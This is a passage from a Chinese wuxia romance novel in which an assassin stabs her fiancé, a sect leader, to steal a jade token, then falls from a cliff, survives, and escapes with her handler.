她今日下山要带的行囊,已经带好了,正是她当时说要下山,顾怀瑾替她张罗收拾的那个。 行囊就在袖子里,她连最后回去一次的理由都没有。 她低下眼,笑了。 顾怀瑾见她拢着衣服,眉目间虽然一片冰寒,还是脱下外衣,罩在她身上: “冷么?” “不冷。” 可是,人哆嗦个不停,仿佛一片结满了霜冻脆了的落叶。 “怎么抖得这么厉害?”他从背后揽住她,“冷成这样,就不要看了,去芙蓉泉泡泡。烟花年年都有。” 烟花倒是年年都有。 她对他若无其事笑了一下,“我偏想看。” 他默了一瞬,没说什么,打横抱起她。 “看完了,去温泉里好好泡泡,别再冷着了。” 她依言点头,把脸深深埋在他脖子旁,依恋嗅着他的气息。 “抓住了。去兰阁,只有从三根铁索上走,别乱动。” “顾怀瑾。”她忽然开口。 “怎么?” “我想回暮雪院了。” “为什么?” 她不说话,顺着他颈侧往外望出去。山雾飘渺,底下是一片混吞的薄紫色,深林罩在云雾底下,只隐约露出些许。 暮雪院在哪呢。 出来了,就回不去了。 顾怀瑾道:“冬天我们回去。朝瑶峰冷得太早,你待不了。” 冬天。 她想起那个梦。 “新年时陪我下去逛灯会好吗?” “好啊。”他没犹豫,走到了铁索前 边。 “不守山规也可以吗?身为掌门偷溜下山也可以?” “可以。” 她垂下眼笑了,搂住他脖子,靠在他怀里。 答得这么干脆,到底真的假的。 真的也好,假的也罢,她如今全当真的听。 顾怀瑾抱着她凌空,足尖轻点,身轻如燕。 那大腿粗的铁索被他踩得上下摇晃,山雾渺茫,他们在云中穿梭,潮湿的空气扑在脸上,呛入气管,她感觉鼻腔都被云塞住了,脸上结了一层密密的水珠。 她在顾怀瑾怀里,淡淡地往下看。 铁索底下,就是万丈深渊。 她笑了一下,这条路,当真只有顾怀瑾这般人能走,像她极乐堂出身的,夜里冒然上去,八成要尸骨无存。 尸骨无存,怎么不算好事呢。 她睁开眼。 ——怎么又想到死了? 顾怀瑾轻功早已炉火纯青,即便是孤峰之间的铁索,他也不在话下,两三下就到了含雪峰。 兰阁静静伫立在死寂月光下。 她闭了闭眼。 顾怀瑾将她放了下来,“小心。” 她双脚踩到地上,出乎意料地,既没踉跄,也没腿软,平稳而安静地,站了一阵。 这一天,她此前不知道有多怕。怕到在梦里,都不敢想。 可是,真到了这一步,人反而平静了。 杀了他。杀了他就是了。 他那么爱她,即便看穿了她,也尚有旧情,她要杀了他,是多简单的事啊。 很简单。很容易。不要怕。 只要一剑。 顾怀瑾说了一句什么。 她没听清。他甫一开口,她就颤栗了一下,惊疑不定地盯着他。 “你说什么?” “我说,烟花大约还要过一会儿。往年乞巧节,都是子时放的。”他伸出手摸着她的脸,“脸怎么白成这样。”幽幽道,“怎么,不愿意同我回山吗?” 她不答,身上披着的他的外衣,越发散出些他的气息,萦绕在她鼻子底下,她急急往兰阁内走。 既然要杀,就尽快。 第96章 天山含雪峰兰阁禁地内,月照半山。 天山派兰阁禁地建在一座孤峰上。这孤峰高逾千尺,窄而细,如一柄直捅入夜空的匕首,与左右两侧群山,各以三根粗铁链相连接。 顾怀瑾跟在她身后,推开了阁门,拨开兰阁门口,垂着流苏的锦帘。 “兰阁禁地,平日里无人上来,就每月侍仆们会打扫一回。”他回身将门带上,“不过,今儿才初七,按说才刚打扫过两三天,桌椅床榻大约还干净着。你若累了,可以躺着歇歇。” 兰阁内,一桌一椅一榻,一面墙高的书架,简洁规整,朴素到几乎冷硬。 毕竟是在这么高的含雪峰上,冷清了些,也是自然。 南琼霜拉开桌前木椅坐下,侧首望着窗外。 月色澄明,丝丝缕缕的云绒勾在尖尖的月弯上,被月光折出些缤纷颜色。 底下,千山伏尽,月影重重。 窗子开着,这里算是天山的藏书阁,保存着《天山心经》,因而时时开着窗通风。 “冷不冷?”他倾身去关窗。 “不冷。”她望着月色底下茫茫天山,“开着吧,看得清楚些。” 她这些话,总叫他以为她盘算着要走。 他走去她身侧,连句话也没说,将她打横抱起,搁在兰阁平硬的木榻上,手挡在她脑后,怕木枕硌了她。 “怎么了?突然把我放……” 她话还未说完,他已经伏首吻了下来,大拇指将她的下巴推高,含吮着她软软的唇,去衔她的唇珠,又张开口,去探那更深处、湿润而潮热的地方。 她不明所以,只感觉他吻得比往日还凶,呼吸冲在她鼻子底下,缠着她的舌尖不放。 舌身相搓,微妙的磨砺感。 她“唔”了一声,身不由己地仰头受着,呼吸越来越急,他却连平日惯有的怜花惜玉之意都没了,她越受不住,他越发吸吮啃咬着,腿一跨,翻身上榻。 “皎皎,”他吻得气喘,声音却压抑,“今天是我们订婚的日子。” “——所以,你想去哪?” 她说不出话。 可是,他也没有给她说话的间隙。话音刚落,舌头又挑开了她双唇钻进来,唇含吸着她的唇,舌尖绞缠在一处,竟还开始吮她的唾液,一丝一丝,全部咽下,仿佛要将她整个人吞下去。 他这是怎么了?像是又压抑着失控了,同他从前一样。 不是查出了她什么吗?难道不是? 不,他最好是。 他最好也想杀了她。 “说话啊。”他放开她,看着她因为被过分吮吸而艳丽的唇,“想去哪?说啊。” 他到底是怎么知道的。 他们之间有一种莫名的心有灵犀。 可是,生来你死我活的两个人,为什么要有这种默契。 “顾怀瑾,我问你。”她吸了一口气,望着他那双不知为何动怒的眼睛,“之前你说,假如我病死了,你跟我一起死。这话作数吗?” “作数啊。”他连游疑都没有,捧住她的脸,逼视她,“怎么?你病了?你以为你身子治不好,所以想走?” “无声无息地走?不告而别?就这么把我抛下、不要我了?——是不是我不把你抓回山上,你在山下就走了,就跟李玄白走了?!” 他到底在说什么。 “我不是告诉过你,”他竟然开始哽咽,“有什么事情,你对我说,我同你一起面对,不要自己硬扛。我帮你,没有办法的事也会有办法。我不是告诉过你吗?” 她眼里的泪,一点一点堆在眼底,但她执拗,不肯落泪。 真的吗? 什么都可以一起面对? 哪怕我是个非杀了你不可的细作,你也肯容我,你也肯爱我? ——骗子。 少拿情爱来骗我。南琼霜不会上这种当的。 她胸口颤抖起来,泪一颗颗落,轻轻笑着: “那倘若,我要杀了你呢?” 顾怀瑾也喘着,胸膛起伏,呼出的气扑在她脸上,一双眼,透彻清明,看进她眼底。 他笑了一下:“好啊。” 南琼霜愣住了。 “那杀了我吧。来,杀了我。” 他抓着她的手,掐在自己脖颈上,眼底通红: “你以为,你又要和李玄白下山私奔,又跳下瀑布不知死活,都订了婚,还想不告而别偷跑下山,你以为我活着就很开心吗?!反正我这个人,也早被你气得又是吐血,又是心疾,也没几日活头了——你既然真想叫我死,早点杀了我就是!” 她想将手抽回来,可是他不知怎么,竟然用了那样大的力气,攫着她的手强按在自己颈侧,她只感觉掌中血管嘣嘣狂跳。 “原来这般叫我伤心,是想杀了我啊。那你直接杀啊,弄得我要死要活的做什么。今天不见了,明天掉地宫了,后天跳瀑布了,好不容易找了回来,又冷落了我,几天不准我一起睡觉。明知道我爱你,我依赖你——” 他声音带上了哭腔: “——明知道我离不开你,天天想着不告而别,我就是这么一个你可以随便抛下的东西?!既然如此,你杀了我,我倒清净!” 他的眼泪,啪嗒啪嗒,掉在她脸颊上。砸碎了,温热的几滩。 她喘着,伸出手,小心着、试探地,摸了摸他的脸。 怎么,她出了点事,不见他几天,他就煎熬至此,记到现在。 何至于此。顾怀瑾,何至于此。 他闭上眼,眉目冰寒不耐,却由着她抚摸。 但是——他会这么说,只是因为,他以为她说要杀他,只是说着玩玩。 ——泄愤罢了,不足当真。 她笑:“你这么说,那你的天山派怎么办?不过是唬我。” “没事啊。我回去挑个继承人。” “假如我现在就要你死呢?” 她灼灼盯着他,等他答复。 假若他可以抛下他的门派,为她去死,她不是不可以背水一战,为他背叛往生门。 哪怕背叛自己过往的所有信念,心甘情愿地功亏 一篑。 他敢吗? 他只是笑:“那你就现在给我怀个孩子。” 伏下身来,剥开她的衣领,领口哧哧崩裂,露出大片裸露的光洁的肩颈,他闭着眼咬下去。 她几乎叫了一声。 仰着下巴,脖颈难以自控地伸长了,手抓上他背脊。 她从未见过顾怀瑾这样。从前温声细语,对谁都春风和煦的人,竟然在她颈侧最娇嫩的皮肤上皱着眉深吻,一边咬,舌一边在颈上转圈打磨,口里啧啧吮吸,几乎将她的理智都吮走了。 报复,也威胁。 她只感觉自己是落入了野兽口中的兔子,不仅被叼住了喉管,临死之前,还被逼着挣扎一番,用她的哀吟,取悦他的胜负心。 “你……”她开口,才发现嗓子已经这么软了,“怀瑾,你——” 他最知道她的弱点在此,绝不可能轻易放过,听见她一把糖浆般的嗓子,脑子里嗡的一声。 原来她动情,嗓音是这样啊。 这么久以来,他竟然才有福听一次。 他沿着她难耐着躲避的脖子,一路往下落吻,手循着她腰身的曲线,行云流水摩挲下去。 她吓得弓起腰身,也不知是躲上还是躲下,头扭得贴在肩膀上:“怀瑾,怀瑾!” “怎么?”他一路从衣领往下吻着,只犹豫一瞬。 掌心一点粗粝的摩擦感。其余地方,暄软得叫他茫然。 她感觉自己是一个生面团,被人放在掌中揉捏搓扁,不仅难以控制形势,更是身不由己,不知要被带往何方。 ——这,根本不行。 这样下去,什么时候是个头,难道还真在这里同他闹到无法收场吗? 他忽然“咦”了一声:“皎皎。你这里有颗痣。” 她哪里有痣,她当然知道。 可是。 难道他…… 他闭上眼,唇覆上去,吸咬着。 她控制不住,叹息着哼吟一瞬,声音出口,才晓得是什么声音,咬着手背,冷汗涔涔地仰起头。 钝刀子割。这种折磨,仿佛饮鸩止渴,仿佛用钝刀子割。 这样不行。 她道:“怀瑾!” “怎么?”他抬起头来,平日那般矜雅有礼的人,竟然不屑一挑眉,“我们订过婚了,你亲口答应我的。现在,你人已经是我的,或早或晚而已,有什么不行?” “就是不行!” 他冷笑一声。 手穿过她脖子底下,拥着她,不顾她挣扎,偏着头深吻,三两下就解开了自己胸前的盘扣,脱了下来。 她一见他那架势,便知大事不妙,忽而一阵山风从窗内吹进来,她捏着嗓子道:“太冷了,怀瑾,关窗。” 他艰难停下,闭了闭眼,粗喘两瞬,终于还是决定,起身关窗。 这一倾身,他胸前一直随身挂着的……镇山玉牌,不偏不倚,砸在她鼻梁上。 她嘶了一口冷气,只觉浑身发凉。 ——镇山玉牌在眼前,胡闹也到了时辰了。 今日,是她与他的最后一天。此时,是最后的最后。 不能再拖下去了。 顾怀瑾关了窗回来,迷离着眼,又抵着她额头吻来。 她捧住他的脸,与他眉骨相碰,但拦住他,不准他再往前。 一双眼,冷静明澈,仿佛断案的判官。 “顾怀瑾,这是我第一次问你,也是最后一次。” 她语气那样不留余地,他一时愣了。 “你和你的门派,你选谁?” 他不明白她为什么这样问。 但是他答:“门派。” “你和我,你选谁?” 他看着她的眼睛:“你。” 她干涩勾了勾唇,睫毛有点颤抖。 “那么,”她笑容有点讥讽,“我和你的门派,你选谁?” 你不选我,等于会因为我的身份,杀了我。 一阵难熬的沉默。 顾怀瑾久久没有说话。额上因为动情而冒出的汗珠,一闪一闪,叫她想起他为她背了七十鞭子那一天,一个人在房间内,冒着傻气硬撑的样子。 她这个人,向来不相信任何人嘴上的话的。 可是,倘若是顾怀瑾。 她愿意冒险,信一次。 顾怀瑾不知在看哪里,垂着眼帘,久久没有说话。 窗外寒鸦,掠过夜空,惨鸣一声。 他沉默得太久了。 久到她冷,久到她失去耐心,久到他们那种心有灵犀又开始作祟,她不需要他答,已经知道他的答案。 可是,他沉默时,长睫根根翕垂,小羽扇一般。 你看,就连他想放弃她的模样,她都觉得好看。 她是不是太傻了? 顾怀瑾的呼吸忽然哽住一瞬。接着,粗重地、紊乱地、失去章法地,深深呼吸了几下。 然后,停止了。 她松开袖中软剑,平静地、眼睁睁地、面色如常地,看着他眼神失了焦距,栽倒到床下。 窗外,一阵斑斓炫光。 她木然望出去。 夜空底下,千山伏尽,月影重重。 乞巧节烟花,终于升入天空,点亮整片天山。 第97章 顾怀瑾死了。 她简直不敢相信这件事。 她竟然真的下了手,真的做到了。 她如梦初醒,瘫坐在榻上,发觉自己心情似乎还平静,只是什么滚烫的东西,噼里啪啦地从眼眶里往外掉。 她用手掌狐疑地一接,是血。 太好了,是七乌香木的毒。 她这时才发觉,自己的呼吸,竟然变得一哽一哽的,人也好似在抽搐。 是因为兰阁内,太冷了吧。 她下了榻,裙摆迤逦过地上她不愿去想的东西,拢着衣服,急急推开了兰阁的门。 一路走到了拴着铁索的木桩旁。 她道:“雾刀。” 没有人回话。 她闭上眼,如今她哆嗦得牙关咯吱作响,“雾刀,去帮我把镇山玉牌取来。” 仍是没有人回话。 她暴躁起来:“雾刀!” 雾刀仍未回话。 或许顾怀瑾把雾刀抓住了。这条狗,该啊。 她眼眸忽地凝滞一瞬,两颗珊瑚珠般的圆圆的血,一齐从眼里淌出来。 乞巧节烟花震耳欲聋。 不会的。雾刀在哪?他一定在,这山上,连…… 连……连李玄白都不曾察觉,这山上,没人有本事抓住他。 为什么不在?说了要跟上来,但没来,是因为含雪峰太难上,他没跟来? 他必须在。倘若他不在,她是为了什么? ——不对。杀他,是为了她自己啊。 她不知为何,鬼似的一阵咯咯苦笑,笑得眼里的血啪嗒、啪嗒,砸得领子红透了。 不在,不在好啊。 他不在,方才她同……同那个人接吻,被他逼得毫无办法乱哼哼的样子,他就没看到。 早知道他不在,她可以想哭就哭,也不必特意带着一双七乌香木的耳坠来,用血来遮掩…… 没什么要遮掩的。她本来也没有要哭。 她缓缓蹲下去,抱着膝盖,将头埋在膝盖里。 山风悠悠,抚着她的长发。 她看着自己的血,一颗一颗,洇湿膝盖处的衣裳。 每一颗,都圆圆的,缓缓绽开。 圆圆的,红红的,叫她想起她给白糖缝的两半猴子屁股。 这样不行。 她站起身。 镇山玉牌还在里面。 现在,她还有点茫然麻木,得趁着这点麻木,尽快进去取。 现在不取,就更不敢取了。 她横下心。 推开兰阁的木门,吱呀——一声。 她方才熟悉的一切,老旧但整洁的桌椅,平硬的木榻,摆满了发黄的典籍的书架,复又现在眼前。 还有,地上的那—— 她看了一眼,又不敢看,一步跨回了外面。 捂着胸口,左顾右盼。 怎么胆子变得这么小了,怎么这么害怕。 不过是一个,不过是一个—— 死—— 她没法再想下去了,靠在墙边,嚎啕起来。 她怎么会真的做了这种事的。她到底为什么—— 她蹲下身,脸埋在手掌里,泪水和着血,顺手腕,滑进衣袖,一片冰凉。 兰阁,静悄悄的。 天际,山下集市里的烟花仍未停歇,但只在山脚绽放,光芒微弱得仿佛泼溅出的水点,而她是大漠里迷了路的人,只配遥遥看着,死了,也够不着一点。 为什么天底下有人生来就能自由。 为什么她拼尽全力,不择手段,也只是将想留的人,一个个亲手送走了。 为什么这世上非得有烟花,非得有有情人,为什么天底下会有有情人能成眷属。 有情人能不能死光啊。 她一口咬在自己虎口上,一个渗血的圆月型的牙印。 不知过了多久,她终于开始感觉到七乌香木带来 的头痛。 那痛使她清醒了一点。 这样不行。人已经——人已经没了,至少,任务得做完。 审录司那,第四个圈,必须一个碴也不差的,给她画上。 她又蓄起了勇气,站起身来,才发现已经眼前发黑,晕眩得站不稳。 她扶着墙,强自缓了缓。 又推开了那扇木门。 她跨了进去。 第二回,她终于不怕了。虽然仍不敢仔细看地上的……,但是,她终于踏了进去,一直走到她方才拉出来的凳子旁。 背对着他。 她不知用了多少勇气,才敢微微回了点身。 他……他倒在地上。 地上……地上冷。 她不知道自己为什么想这个。 当着他的面,当着他那双失了神依然漂亮得过分的眼睛,她不论如何,不打算再哭了。 事是她做的,还在这里假惺惺什么啊。倘若人有灵魂,他看见她这幅样子,会动容吗? 只会恨她吧。 那也是好的。 至少,他是在阎王那恨她,不是当着她的面。 她下手快,她做得好。 她艰难哽咽了一瞬,两颗血珠挂在下巴上,转回了身,看着他。 那么爱她的人,看着她落泪却无动于衷,她还是茫然了一下。 她咬着唇,指甲攥得掐进掌心里,蹲下身去,一点一点,凑近他。 但不敢看他。 自袖中摸出一柄匕首,她颤抖着手,拿起他挂在胸前的镇山玉牌,将绳子,齐齐割断了。 拿了玉牌,就打算走。 却还是停了下来。 玉牌还温热着,边缘硌得她手掌生痛。 这一走,再不会见了。 他是什么人,他死后要往极乐的。她死后要去什么地方,藏龙池已经告诉她告诉得很清楚。倘若再有来世,她能投生成他身旁的一个畜生已经不错了。 那一剑下去,生也好、死也罢,是生生世世,不会再见了。 那么,她也最后还有一点话要说。 她转回来,复又蹲回他身前。这一回,终于敢好好看看他了。 他眼里没有惊愕,也没有纳罕,只有无尽的迷茫。 她说:“怀瑾,你哪里都好,但有一件事,你知道是什么吗?” “——你太不爱你自己了。” “门派也就罢了,为什么把我,排在你自己之前呢?我不值得的。你不能把念想寄托在另一个人身上,人人都该先爱自己啊。” 顾怀瑾如今听不见。 从前,他就算听见,也听不懂。 “怀瑾,我不是没爱过你。” 她喃喃着,闭上眼,去吻他滞涩住了的长睫。 “所以,恨我吧。” “但你要记得,如果有下一世——” “——下一世,为你自己。不为师长、不为门派、不为别人,只为你自己。” 顾怀瑾垂首,并不感动。 他不感动就算了,他们原本就是截然不同的人。 说完了该说的话,南琼霜站起身来,最后深深地,凝望了他片刻。 “对不起。”她道,“再见,怀瑾。” 说完,再也没往后看一眼,抬步走了出去。 生生世世,缘分已尽。 但愿他下一世有更好的爱人。 他是那么好的一个人,他会有的。 南琼霜蹲在铁索旁,不知道等了多久。 雾刀说了要她得手之后经铁索到朝瑶峰上,却忘了铁索原本就难过,又是夜里,露水湿重,三根铁索隐在云雾里荡着,连看都看不清。 以她极乐堂出身的身手,如何能独自过这三根铁索? 她无法,只好候在栓铁索的木桩旁等。 她也不知等了多久,只知道自己心里木木的,一点也不敢多想。 等吧,只需要等。 太阳升起来,一切就结束了。 她不知在铁链尽头等了多久,终于天边泛白,沉沉的夜幕,掀开了一条细边。 她站起身来。 黎明时的山风格外寒凉。刮在人皮肤上,仿佛刀割。 她伸出手。天山上的落花一如往常地飘曳零落,在她面前飞舞,她用手掌轻轻接下,仔细地看。 天亮了,可以下山了。 她最后、最后,回身。 兰阁依旧在她身后,锦帘直而静地垂下,仿佛一场戏,从前也轰轰烈烈过,可是各方唱罢,也就落幕。 他永远留在那场戏里面了。 永远心疼她、呵护她,永远挡在她身前的人。 她闭上眼。 忽然,余光里,那曼陀罗紫的锦帘,似乎轻微一动。 她惶然睁大眼。 是她的错觉吗?还是? 还是被风吹的,动了一下? 多年刺客生涯,她习惯不放过任何可疑之处。 可是,她好像没有力气,再回那兰阁里了。 算了吧。还能有什么。 她转回身,复又望着混沌云雾中沉浮不停的铁索。 天色亮了一点,铁索渐渐看得出轮廓,然而山雾仍湿重,她拿不准,犹豫着。 忽然,几乎是瞬间,她发觉身后有个活人。 她骤然转身,掌中蛛罗丝一瞬蓄势待发,目光在含雪峰与玉霄峰相连的铁索上逡巡。 难道是顾怀瑾早已看出她的身份,引她入瓮,时辰到了,埋伏着的人冲出来了? 可是——另一边的三根铁索,兀自在风里摇荡着,只有铁链咯啦咯啦的声音。 人呢?都在哪? 兰阁的锦帘,忽然被人掀开了一条细缝。 一只灰白的手伸出来,关节惨白、青筋暴起,揪住了摇晃不停的锦帘,哗啦扯下来一半。 锦帘顿时歪了下来。 帘内的手借力不得,趔趄一下,死死抠住了门框。 那门框瞬间弯扭崩裂开来。 南琼霜瞬间如坠冰窟。 锦帘之下,缓缓地、气息奄奄地,走出了一个鬼影。 顾怀瑾捂着左胸口,弓着身子,依靠着门边站着,面色仿佛一张沾了水破烂了的纸。 即便如此,也拼尽全力,一步一步走了出来。 月色底下,他轻摇着头,痛望进她眼底,“皎皎,为什么……” 那样的神色,哀恸又荒凉。 她见不得顾怀瑾。她如今再见不得顾怀瑾。 再反应过来的时候,人已经冲上了铁索。 却全然忘了铁索上尚有朝露这件事。 她脚下一空。 茫茫山谷磅礴的风,呼啸着吹上天空。她的衣衫被风吹得四散,好像一颗拖着白尾的流星。 长发纷飞间,她 最后回首看了一眼。 顾怀瑾已经冲了过来,神色几乎骇人: “皎皎——” 她从未见他失态至此。 她在黎明里,安然望着眼前尚未亮透的蓝天。 ——那个道士说,我有一场大劫。 原来,这个死局,死的是我啊。 也好。 好人长命,万幸。 但是顾怀瑾啊。 黎明的金光里,她望着他那双歇斯底里的眼睛。 让我再看你一眼,让我记住你吧。 ——然后。 她闭上眼,自重重云雾中,直线坠落下去。 ——然后,忘了我吧。 第98章 她没死。 连她自己都没有想到。 含雪峰底下,是一大片设了冰丝阵的黄玫瑰花海,辉煌璀璨,绵延无尽。 她在黎明清香的山风里,朦朦胧胧睁开眼。 黄玫瑰花瓣打着旋,被呼啸山风卷上天空,飘舞在她身侧。 她懒得理会这一切。 忽然一阵横风自两峰之间倏地喷涌出来。 她如一只轻飘飘的纸鸢,卷在风里,轻易地翻了面,身不由己地拐了弯。 含雪峰的背阴面,是一大丛遮天蔽日的密林。巨树高插入天,树冠彼此遮掩。 她自那树冠中层层跌落下来,砰砰砰砰地一路往下直坠,最后“轰”地一声,砸在什么东西里。 再醒来的时候,天已经又黑了。 她不知道自己昏迷了多少时候。 只知道自己陷在丛生的灌木里,背靠着一根折断了的树干,腿搭在低矮的绣球花中。 蓝紫色的绣球花,花瓣零落,一簇一簇,溅上她的血,美得残酷。 她气息奄奄地喘着,喉咙干涩得发痛,浑身被荆棘枝条刮得遍体鳞伤,伤口在空气中豁开,黏着七零八落的叶片。 她仰起头,意外发现颈椎似乎还没有伤着。 有点侥幸,但又疲惫。 怎么还没死。都已经这样了,还是死了为好。 恍恍惚惚间,她睁开一丝眼缝,看见繁星密布的夜空底下,一朵金黄的迎春花,在她视野里,轻轻摇晃。 那场景似曾相识。 她不知道曾经在哪见过。 忽然,那朵小小的希望一般的迎春花,同她记忆里的一幅画面,重合了。 是那时,她以为自己马上要同宋瑶洁一起离山,躺在漱玉斋里,做的一个梦。 梦里就是这个情景。她自不知多高的地方坠落下来,砸在茂密丛生的树叶里面,周围枝叶折的折,断的断。她靠在树干上,喉咙里滚烫的腥甜的东西控制不住地上涌。 她艰难咳了一声,黏甜的血从口里喷出来,兜在衣领里,缓缓地洇湿了胸口前的衣裳,热热的一大片。 当时,就是这个样子。 这么多血,这么多伤,密林、夜晚、星星、还有迎春花。 那时,在那个梦里,她隐约感觉到有人从她身下的林叶中伸出手臂抱她,安稳的、可靠的两只手臂,把她深深拥进怀里,他在她耳边喟叹: “皎皎,别担心,等我一会。” “我不会把你一个人留在这里。” 原来那个梦,是这个样子啊。 如今顾怀瑾在哪呢? 如今他一定想把她一个人留在这了。 她甚至不知道该恨谁。 喉咙里干得仿佛刀割,七乌香木的毒还没有过去,那种痛,仿佛一根蠕虫钻进了她耳朵,吭哧吭哧地啃她的脑子。 如果要死,就快点吧。 她听天由命地闭上眼睛。 耳边忽然一阵窸窣轻动的声音。不知是否是什么野兽,但她已经懒得在乎了。 雾刀:“掉这儿了啊?” 她疲乏睁眼。 雾刀将大腿高的草丛拨开,抬步跨过来,挤在她身前的绣球花中。 她唇角略微勾了勾:“含雪峰,你没来?” 雾刀挠着头,挠完正了正束发中的簪子:“那老高的地方,上去多累,我不过诈你一把。其实是在朝瑶峰底下等着。” 她不是没想到,但连骂他的力气都没有。 “那个姓顾的,他今天本来要下朝瑶峰开会,所以我干脆等着。假如下来的是你,他到了开会的时辰还没下来,那我就领你走密道出山。假如到了时辰,他还是走下了含雪峰,我就把你的身份泄露给他,叫你留在山上,也是物是人非、生不如死。” 她闻言,笑了笑。 “不过,我没想到,事情会出纰漏。”雾刀道,“他是下了含雪峰了,但是,重伤濒死,只有出气,没有进气,大约也没有多少时候了。” “他下来时,我瞧见了,左胸口被血染透了。”雾刀抱着肩膀笑了,“你果然还是没有动心。此前是我小瞧你了,南琼霜。” 她自嘲笑了一声。 “他下来之后,紧急召了山内众长老开会,甚至来不及去议事殿。我跟着他偷听了。”他咧开嘴角笑了起来,露出一排齐整尖利的牙: “你知道,山上如今打算如何处置你吗?” 她垂下眼帘。 “涟雷台的鳄鱼给放出来了,逝水牢专门为你打开了最深处的盐汤溶洞。全山戒严,连门禁都被调了,通通往上拔了百尺。艹,本来就够高的了。” “还有呢,全山都在寻你。山门、朝瑶峰、暮雪院这些地方就不用说了,连含雪峰底下的冰丝阵,平日里神仙都进不去的地方,竟都派了轻功绝佳的几人一寸寸搜。据说搜完了冰丝阵,下一步就要搜含雪峰绝壁上的所有树啊草啊,艹,拿你当岩羊呢。” “议事殿里头几个老东西吵得不可开交。有说要你先上涟雷台受审的,有说要你先进逝水牢解天山之恨的,还有说,不必上涟雷台,直接叫那姓顾的拿着毒鞭,亲自当众虐杀的。” 她一双睫毛仿佛濒死的蝶,微弱颤抖着。 “那他说什么?” 雾刀:“他没表态。” 她狠狠咬了一下嘴唇,咬出血来,却笑了。 “那我们赶紧走。”她喘着,笑着仰起头,如今她呼吸都痛,却更加用力深吸了几口气,“咱们要走的那条密道,顾怀瑾也知道,他肯定马上派人守着。再不走,就走不了了。” 雾刀笑得意味深长: “你不想知道,那个姓顾的,情况如何吗?” 她声音嘶哑如锈铁: “他都想折磨我了,我还念着他做什么。” “他体质特殊,这回这事儿,不赖你。”雾刀揽起她,力气大到她痛得眼前发黑,“他心脏在右边。” 南琼霜哑然:“右边?!” “我在议事殿内听到的。而且,他们天山派驭珠之法,内功奇特,你那一剑下去,他体内气息彼此冲撞,人大约是短暂假死了一阵。” 她听得疲乏已极,靠在雾刀怀里,闭上眼。 雾刀已经带着她,走进了前一夜乞巧节里,顾怀瑾带着她走的那条密道。 他“啧”了一声:“真他妈黑。你不是跟他走过一回吗,怎么走?” 她不耐长嘶了一口气:“我上哪知道。不是你跟线人接的头吗?” “想办法。”雾刀道,“走不出去。你仔细想想他当时怎么走的。” 她懒得跟雾刀吵,心烦意乱地在一旁冰凉的石壁上摸了一把。 一摸,摸到了一条浅而细的、平直的凹痕。 位置并不高,她被雾刀抱在怀里,刚好摸到。 那是十二三岁的顾怀瑾,淘气顽皮,背着掌门爹爹偷跑下山,一下一下,凿刻出来的。 怎么到了这个时候,还得依赖他。 她苦笑一瞬,“沿着这凹痕走,会走出去的。” 然后,头仰在雾刀肩上,晕了过去。 * 往后的日子,她一直在往生门内养伤。 天山上的任务,是她入往生门以来的第四个。按理来说,只要这个任务算她办成,她只消再出一个任务,便可以赎身。 然而,镇山玉牌虽然叫她拿到了手,该取的人命却没取成。 雾刀为此事与往生门拉扯许久,说是情报司办事不力,不能算在她头上。 他们教引,每月能拿的月银,与她的成败息息相关,在这件事上,两人是一条绳上的蚂蚱。 求请求到最后,两人的月银往上提了一级,审录司那里,却只算她成了半个任务。 只要月银多了,她的任务究竟办没办成,雾刀毫不关心,感恩戴德地替她答应下了。 仅凭她一个人,她并不敢去审录司那里闹事,于是也没有办法,只得认下。 在她的寮舍中养伤,日子过得平凡又平常。人倘若习惯了一处地方,哪怕在别处待得再舒适,一回来,只消两天,便会觉得早已回来多时了,从前的那些事情,也就尽数忘掉。 落英缤纷的天山,和那花树底下饮酒下棋的顾怀瑾,她全当做了一个梦。 梦醒之后,前尘尽忘。 她又是往生门内攻无不克的南琼霜。 后来,隐约听说顾怀瑾经此一事,痛愧至极,无颜再担少掌门的担子,几度想要择贤让位。然而,或许是山上再无更贤者,众人左拦右劝,还是将他按回了原位。 再然后,又听说他恨她,恸绝恨极,恨到泣血怨咒、目眦欲裂。为了杀她,将整座天山挖空了掏翻了倒过来寻,还动用江湖人脉,天下通缉。 江湖上三百多家门派,全收到了他寄去的画像,闹得武林沸沸扬扬。一时口耳相传,她那个叠字的假名,成了能人异士口里津津乐道的轶闻。 甚至,雾刀不过出去买几屉包子,都听见那包子铺掌柜,煞有介事地同自己女儿道,“嗬!做女人,千万须得恭良为上,可不敢学那楚姓的妖女!” 雾刀听了,笑得合不拢嘴,眉飞色舞地回来跟她学。 她听了,觉得有趣,笑笑便罢。 或许,从前她也真的爱过,可是,日子太久,也就忘了。 她擅长失去,什么都放得下,什么都忘得掉。 后来,又听说他心疾发作,命不久矣,终于让出了少掌门之位,亲自下山寻她,发誓不寻到她,不肯罢休,上穷碧落下黄泉,也要将她挫骨扬灰。 她听得更无波澜——她不怕被人恨,只怕被人爱。顾止在传闻里呲牙裂齿、磨刀霍霍,她在往生门内,日日平静如常,同任务归来得闲的同僚打牌下棋。 有时输了,有时赢了,输了时,牌友总有几个好事的,爱问她些私隐。 有一回,正赶上七杀堂的墨角回来。她当日手气不好,输了不少,手头的银子赔不起了,便应允墨角问她一个问题。 墨角:“这么多年,这么多任务,可有一个男人,叫你印象深刻的?” 她当时正拿着一柄白折扇扇风,闻言,指头摸着扇缘拨了拨,捏着扇面摩挲。 “没有。” “如果非要你说一个呢?” 那扇子叫她想起一个男人。于是她答:“李玄白。” “你喜欢他什么?” 雾刀不善打牌,他脑子太笨,记不住牌,但爱围在牌桌旁凑热闹。听见这个名字,仰头一阵狂笑:“你当时爱的是他啊?” 一说极乐堂的人也会动心,男子艳羡,女子好奇。 众人屏息凝神等着。 南琼霜将那扇子来回看了看——她这把扇子,就比李玄白那把素朴多了,他那把是贝母的,流光溢彩。 想了半天,答不出来,最后含糊应了一句: “……我想是因为,他,性子洒脱。该忘的忘,该放的放。”她拿着扇子,扇了扇风,“就像我。” 这个答案没有说服墨角。 墨角还是要她赔钱。 那个月,她手里的银子挥霍一空,真是没钱了。 迫不得已,她在自己房间内环视一圈,终于注意到了一个被她扔在角落里的小包裹。 那小小的行囊,是自天山上下来前,她收在袖中,以待日后备用的。 若是没记错,是那时她说要下山,顾止替她张罗收拾的那个。 已经过去了那么久了啊。 自从听说他恨她,她就几乎没再想起来过他。 她平静无波地将那放在角落、已经积了层灰的不起眼的包袱打开。 将里头的东西,一件件拿出来。 一个带暗格关窍的木头镯子。往左旋是毒针,右旋是薄铁刃,附了一张详细写着用法的纸,是怕她不懂武功,无法防身,替她备的。 够她用三年的银票。那时,他以为她要下山诀别,问她几年后会成婚,她随口答了一句两年。 她还记得,那时他从背后拥着她,叹息: 